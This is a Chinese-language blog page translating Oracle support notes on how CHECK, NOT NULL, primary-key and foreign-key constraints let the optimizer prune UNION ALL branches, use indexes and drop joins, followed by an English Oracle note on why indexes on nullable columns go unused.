metalink : 文档 ID:         300729.1

约束条件对于查询优化的作用

约束条件对于查询优化至关重要。 许多人仅仅认识到约束是为了保证数据的完整性,当然这也是对的。
但约束同事也会被优化器利用以便决定最优执行计划。
优化器使用以下数据作为输入变量:
1. 查询语句
2. 所有可用的数据库对象统计值
3. 系统统计值,可能存在的如CPU速度,单块物理读的速度,以及一系列硬件指标
4. 数据库初始化参数 (parameters)
优化器使用所有这些信息以便决定最好的查询方式。我常常遇到人们在数据仓库或报表系统中避免使用约束。
“或许他们不需要约束以保持数据完整性,但他们确实需要约束以获取最优执行计划。数据仓库中糟糕的执行计划
可能执行数个小时乃至于数天。由于性能考量,数据仓库同样需要约束!
让我来看一些例子(使用11gr1,11.1.0.7)。第一个例子是分区排除,该特性自版本7.3时引入。
在代码演示1中,我们建立2个表包括互斥的数据以及一个合并(UNION ALL)它们的视图。
代码演示1: 建立表以及互斥数据以及试图
SQL> create table t1
2  as
3  select * from all_objects
4  where object_type in (‘TABLE’,’VIEW’);

SQL> alter table t1 modify object_type not null;

表已更改。
SQL> alter table t1 add constraint t1_check_otype
2  check (object_type in (‘TABLE’,’VIEW’));

表已更改。

SQL> create table t2
2  as
3  select * from all_objects
4  where object_type in (‘SYNONYM’,’PROCEDURE’);

SQL> alter table t2 modify object_type not null;

表已更改。

表已创建。

SQL> alter table t2 add constraint t2_check_obype
2  check (object_type in (‘SYNONYM’,’PROCEDURE’));

表已更改。
SQL> create or replace view v
2  as
3  select * from t1
4  union all
5  select * from t2;

视图已创建。

代码演示2中我们使用object_type列查询视图并观察其执行计划。

代码演示2:
SQL> select * from v where object_type = ‘TABLE’;

Execution Plan
—————————————————————————-
Plan hash value: 3982894595

—————————————————————————–
| Id  | Operation            | Name | Rows  | Bytes | Cost (%CPU)| Time     |
—————————————————————————–
|   0 | SELECT STATEMENT     |      |    40 |  6320 |   151   (1)| 00:00:02 |
|   1 |  VIEW                | V    |    40 |  6320 |         (1)| 00:00:02 |
|   2 |   UNION-ALL          |      |       |       |            |          |
|*  3 |    TABLE ACCESS FULL | T1   |  3083 |   475K|    31   (0)| 00:00:01 |
|*  4 |    FILTER            |      |       |       |            |          |
|*  5 |     TABLE ACCESS FULL| T2   |     5 |   790 |   12    (1)| 00:00:02 |
—————————————————————————–

Predicate Information (identified by operation id):
——————————-

3 – filter(“OBJECT_TYPE”=’TABLE’)
4 – filter(NULL IS NOT NULL)
5 – filter(“OBJECT_TYPE”=’TABLE’)

在代码演示2中的执行计划似乎没有避免读取T2表,请注意T2表上的object_type仅包括SYNONYMS和PROCEDURES类型

。 但我们可以看到该读表操作的上层检查,即第四步是过滤操作,该过滤的方式是
NULL is NOT NULL
这十分有趣,我们并没有写过这样的句子,但优化器为我们添加了他。由于 NULL IS NOT NULL是恒假的,所以实际

上这系列操作(步骤4和5)其实永远不会发生。(你可以使用tkprof工具来确认这一点)

在下一个例子中,我们来体验一下为什么NOT NULL约束在涉及索引使用时特别重要。

SQL> create table t
2    as
3    select * from all_objects;
Table created.

SQL> create index t_idx on t(object_type);
Index created.

SQL> exec
dbms_stats.gather_table_stats( user, ‘T’ );
PL/SQL procedure successfully completed.

现在,我们尝试计算表中的行数,优化器仅有一种方案,如代码演示3
代码演示3:
SQL> set autotrace traceonly explain
SQL> select count(*) from t;

Execution Plan
—————————————-
Plan hash value: 2966233522

——————————————————————-
| Id  | Operation          | Name | Rows  | Cost (%CPU)| Time     |
——————————————————————-
|   0 | SELECT STATEMENT   |      |     1 |   283   (1)| 00:00:04 |
|   1 |  SORT AGGREGATE    |      |     1 |            |          |
|   2 |   TABLE ACCESS FULL| T    | 68437 |   283   (1)| 00:00:04 |
——————————————————————-
因为object_type列是可为空的且索引不包含空键值(指索引相关的所有列皆为空的情况),我们无法利用索引计算表

上的行数,故不得不全表扫描。若我们告知数据库,OBJECT_TYPE列是非空的,执行计划将立即改变,如代码演示4


代码演示4:
SQL> alter table t modify object_type NOT NULL;
Table altered.

SQL> set autotrace traceonly explain
SQL> select count(*) from t;

Execution Plan
——————————————
Plan hash value: 1058879072

————————————————————————
| Id  | Operation             | Name  | Rows   | Cost (%CPU)| Time     |
————————————————————————
|   0 | SELECT STATEMENT      |       |     1  |    54   (2)| 00:00:01 |
|   1 |  SORT AGGREGATE       |       |     1  |            |          |
|   2 |   INDEX FAST FULL SCAN| T_IDX | 68437  |    54   (2)| 00:00:01 |
————————————————————————
在object_type实际允许为空的情况呢?我们能做些什么呢?若我们可以在索引中加上非空的键值呢?显然计划将改

变。 在这里我把常数0加入索引。
SQL> drop index t_idx;
Index dropped.

SQL> create index t_idx
on t (object_type, 0);
Index created.

现在代码演示6中的执行计划趋向于使用索引了

代码演示6:
SQL> select * from t where object_type is null;

Execution Plan
—————————–
Plan hash value: 470836197

————————————————————————————–
| Id  | Operation                    | Name  | Rows  | Bytes | Cost (%CPU)| Time     |
————————————————————————————–
|   0 | SELECT STATEMENT             |       |     1 |   101 |  1      (0)| 00:00:01 |
|   1 |  TABLE ACCESS BY INDEX ROWID | T     |     1 |   101 |  1      (0)| 00:00:01 |
|*  2 |   INDEX RANGE SCAN           | T_IDX |     1 |       |  1      (0)| 00:00:01 |
————————————————————————————–

Predicate Information (identified by operation id):
—————————————————
2 – access(“OBJECT_TYPE” IS NULL)

约束,主键,以及外键

现在我们来测试主键,外键是如何影响优化器的。我们复制scott.emp和scott.dept表使用

DBMS_STATS.SET_TABLE_STATS改变他们的统计量使得它们看起来“十分庞大”,让优化器产生这种假象。

代码演示7:

SQL> create table emp
2    as
3    select *
4    from scott.emp;
Table created.

SQL> create table dept
2    as
3    select *
4    from scott.dept;
Table created.

SQL> create or replace view emp_dept
2    as
3    select emp.ename, dept.dname
4      from emp, dept
5     where emp.deptno = dept.deptno;
View created.

SQL> begin
2       dbms_stats.set_table_stats
3           ( user, ‘EMP’, numrows=>1000000, numblks=>100000 );
4       dbms_stats.set_table_stats
5           ( user, ‘DEPT’, numrows=>100000, numblks=>10000 );
6    end;
7    /
PL/SQL procedure successfully completed.

我们同样使用一个view:emp_dept来返回以上2个表的连接查询结果,在该view仅返回emp表上数据时(ename列),我们

发现执行计划需要读取emp与dept两个表,如代码演示8。

代码演示8:
SQL> select ename from emp_dept;

Execution Plan
—————————–
Plan hash value: 615168685

—————————————————————————————-
| Id   | Operation          | Name  | Rows  |  Bytes |TempSpc | Cost (%CPU) | Time     |
—————————————————————————————-
|    0 | SELECT STATEMENT   |       |  1000K|     31M|        | 31515    (1)| 00:06:19 |
|*   1 |  HASH JOIN         |       |  1000K|     31M|   2448K| 31515    (1)| 00:06:19 |
|    2 |   TABLE ACCESS FULL| DEPT  |   100K|   1269K|        |  2716    (1)| 00:00:33 |
|    3 |   TABLE ACCESS FULL| EMP   |  1000K|     19M|        | 27151    (1)| 00:05:26 |
—————————————————————————————-

Predicate Information (identified by operation id):
—————————————————
1 – access(“EMP”.”DEPTNO”=”DEPT”.”DEPTNO”)

我们知道实际无需访问dept表,由于deptno是dept表的主键,而emp表中的dept实际是外键。现在我们加上这层约束

关系。
SQL> alter table dept add constraint
dept_pk primary key(deptno);
Table altered.

SQL> alter table emp add constraint
emp_fk_dept foreign key(deptno)
2    references dept(deptno);
Table altered.

试看代码演示9中的执行计划

代码演示9:
SQL> select ename from emp_dept;

Execution Plan
——————————
Plan hash value: 3956160932

————————————————————————–
| Id  | Operation         | Name | Rows  | Bytes | Cost (%CPU)| Time     |
————————————————————————–
|   0 | SELECT STATEMENT  |      | 50000 |   976K| 27152   (1)| 00:05:26 |
|*  1 |  TABLE ACCESS FULL| EMP  | 50000 |   976K| 27152   (1)| 00:05:26 |
————————————————————————–

Predicate Information (identified by operation id):
—————————————————
1 – filter(“EMP”.”DEPTNO” IS NOT NULL)

如上dept表在以上查询中无需再在考虑之内了,故也谈不上哈希连接了,多出了一个断言:deptno是非空的。
优化器意识到外键和逐渐的存在,以上查询实际等效于 SELECT ENAME FROM EMP WHERE DEPTNO IS NOT NULL。
优化器舍弃了不必要的表,获得了响应时间上的进步。
同时也证明了实际应用中不因该总是使用SELECT *以简化应用的实施。

NULL对于索引的影响:

Indexes and NULLs

Applies to:

Oracle Server – Enterprise Edition – Version: 9.2.0.8 to 10.2.0.4 – Release: 9.2 to 10.2
Information in this document applies to any platform.

Purpose

This article illustrates some common reasons why indexes are not selected when NULLs are present.

Scope and Application

This is a basic level overview with examples of index usage.

Indexes and NULLs

Indexes and NULLs

When dealing with indexes, a common mistake is to forget about NULLs. Indexes do not store NULL values and so indexes on NULLable columns can’t be used to drive queries unless there is something that eliminates the NULL values from the query.

To illustrate this are a number of examples based upon the following table/indexes:

drop table nulltest; create table nulltest ( col1 number, col2 number, col3 number not null, col4 number not null); create index nullind1 on nulltest (col1); create index notnullind3 on nulltest (col3); begin for i in 1..10000 loop insert into nulltest values (i,i,i,i); if i mod 1000 = 0 then commit; end if; end loop; end; / analyze table nulltest compute statistics;

Illustrative Queries:

select col1 from nulltest t; select /*+ index(t nullind1) */ col1 from nulltest t; select /*+ index(t) */ col1 from nulltest t; select /*+ index(t notnullind3) */ col1 from nulltest t; select /*+ index(t notnullind3) */ col3 from nulltest t; select /*+ index(t nullind1) */ col1 from nulltest t where col1 between 0 and 20000; select col1 from nulltest t where col1 is not null;

Queries and Explanations:

SQL> select col1 from nulltest t; Execution Plan ---------------------------------------------------------- 0 SELECT STATEMENT Optimizer=CHOOSE (Cost=6 Card=10000 Bytes=30000) 1 0 TABLE ACCESS (FULL) OF 'NULLTEST' (Cost=6 Card=10000 Bytes=30000)

col1 is NULLable so the index cannot be used with no predicate
SQL> select /*+ index(t nullind1) */ col1 from nulltest t; Execution Plan ---------------------------------------------------------- 0 SELECT STATEMENT Optimizer=CHOOSE (Cost=6 Card=10000 Bytes=30000) 1 0 TABLE ACCESS (FULL) OF 'NULLTEST' (Cost=6 Card=10000 Bytes=30000)
hinting the index on col1 (nullind1) makes no difference since col1 is NULLable
SQL> select /*+ index(t) */ col1 from nulltest t; Execution Plan ---------------------------------------------------------- 0 SELECT STATEMENT Optimizer=CHOOSE (Cost=49 Card=10000 Bytes=30000) 1 0 TABLE ACCESS (BY INDEX ROWID) OF 'NULLTEST' (Cost=49 Card=10000 Bytes=30000) 2 1 INDEX (FULL SCAN) OF 'NOTNULLIND3' (NON-UNIQUE) (Cost=20 Card=10000)

An open index hint on the table allows the selection of the index on the NOT NULL column (col3). Notice that the col3 predicate is not included anywhere in the query. In order for col1 to be retrieved, the table has to be accessed.

SQL> select /*+ index(t notnullind3) */ col1 from nulltest t; Execution Plan ---------------------------------------------------------- 0 SELECT STATEMENT Optimizer=CHOOSE (Cost=49 Card=10000 Bytes=30000) 1 0 TABLE ACCESS (BY INDEX ROWID) OF 'NULLTEST' (Cost=49 Card=10000 Bytes=30000) 2 1 INDEX (FULL SCAN) OF 'NOTNULLIND3' (NON-UNIQUE) (Cost=20 Card=10000)
hinting notnullind3 directly works as well
SQL> select /*+ index(t notnullind3) */ col3 from nulltest t; Execution Plan ---------------------------------------------------------- 0 SELECT STATEMENT Optimizer=CHOOSE (Cost=20 Card=10000 Bytes=30000) 1 0 INDEX (FULL SCAN) OF 'NOTNULLIND3' (NON-UNIQUE) (Cost=20 Card=10000 Bytes=30000)
Selecting the NOT NULL column (col3) works fine and uses the index with no table access.
SQL> select /*+ index(t nullind1) */ col1 from nulltest t where col1 between 0 and 20000; Execution Plan ---------------------------------------------------------- 0 SELECT STATEMENT Optimizer=CHOOSE (Cost=20 Card=10000 Bytes=30000) 1 0 INDEX (RANGE SCAN) OF 'NULLIND1' (NON-UNIQUE) (Cost=20 Card=10000 Bytes=30000)
The effect of the predicate against col1 is to eliminate nulls from the data returned from the column. This allows the index to be used.
SQL> select col1 from nulltest t 2 where col1 is not null; Execution Plan ---------------------------------------------------------- 0 SELECT STATEMENT Optimizer=CHOOSE (Cost=5 Card=10000 Bytes=30000) 1 0 INDEX (FAST FULL SCAN) OF 'NULLIND1' (NON-UNIQUE) (Cost=5 Card=10000 Bytes=30000)
This example illustrates that forcing the column to return only NOT NULL values allows the index to be used.

Note that in the previous example, the Index hint prevents an index fast full scan operation from being selected. An INDEX_FFS hint must be supplied to force an index fast full scan.

沪ICP备14014813号-2

沪公网安备 31010802001379号